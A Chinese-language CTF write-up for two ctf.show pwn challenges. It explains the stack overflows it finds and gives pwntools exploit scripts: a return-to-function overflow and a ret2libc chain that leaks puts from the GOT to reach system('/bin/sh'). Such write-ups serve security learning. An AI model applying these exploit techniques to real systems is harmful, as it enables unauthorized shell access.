pwn02
- 下载并检查文件,file命令查看文件
32位的文件
- 检查文件:
checksec --file=stack
- 由第三条可以知道存在栈溢出
- 运行一下文件
报错
- 用IDAPRO32打开:
- 首先查看main函数:
- f5查看c代码
- 执行了pwnme函数,查看pwnme函数
buf只有9个字节,而fgets函数能接受50个字节,这就容易导致栈溢出
- 进入
char s
从第一个s开始输入,只需要输入9+4=13个数据就可以,然后加上ret要返回的/bin/sh的地址即可得到shell
- 找到/bin/sh,stack函数
只需要将ret指向stack函数首地址即可得到shell
写exp:
from pwn import *
content = 1
def main():
if content = 0:
p = process("./stack")
else:
p = remote("pwn.challenge.ctf.show",28401)
payload = b'a'*13
payload += p32(0x804850F)
p.sendline(payload)
p.interactive()
main()
运行exp之后得到shell
pwn03
- 查看保护
- 用IDAPRO查看main函数
- 查看pwnme函数
- 没有shell函数,可以用
puts
函数泄露出任意函数的got
表地址,从而泄露libc,就可以根据相对偏移getshell
程序执行后,plt表里是got表的地址,got表是函数的真实地址 程序还未执行时,got表里还是plt表的地址 我们需要泄漏got表里的地址,由于开启了ASLR,本地和远程的地址不一样 但也只是针对于地址中间位进行随机,最低的12位并不会发生改变 也就是我们需要获取到远程环境的函数的真实地址 进而判断libc的版本,计算泄漏的函数got表的地址与system的偏移,然后获取到system函数的真实地址,进而计算system函数与/bin/sh的偏移,最终getshell
exp:
from pwn import *
content = 1
def main():
if content == 0:
p = process("./stack1")
else:
p = remote("pwn.challenge.ctf.show",28021)
elf = ELF("./stack1")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b"a"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
p.recvuntil('\n\n')
get_addr = u32(p.recv(4))
print(hex(get_addr))
main()
然后到libcsearch网站 libc database search
输入puts和得到地址的后三位
找到对应的libc
进入得到偏移信息
最终的exp:
from pwn import *
content = 1
def main():
if content == 0:
p = process("./stack1")
else:
p = remote("pwn.challenge.ctf.show",28109)
elf = ELF("./stack1")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
main_addr = elf.symbols['main']
payload = b"a"*13 + p32(puts_plt) + p32(main_addr) + p32(puts_got)
p.sendline(payload)
p.recvuntil('\n\n')
get_addr = u32(p.recv(4))
print(hex(get_addr))
libcbase = get_addr - 0x067360
system_addr = libcbase + 0x03cd10
bin_sh = libcbase + 0x17b8cf
payload = flat([b'A'*13,system_addr,b'AAAA',bin_sh])
p.sendline(payload)
p.interactive()
main()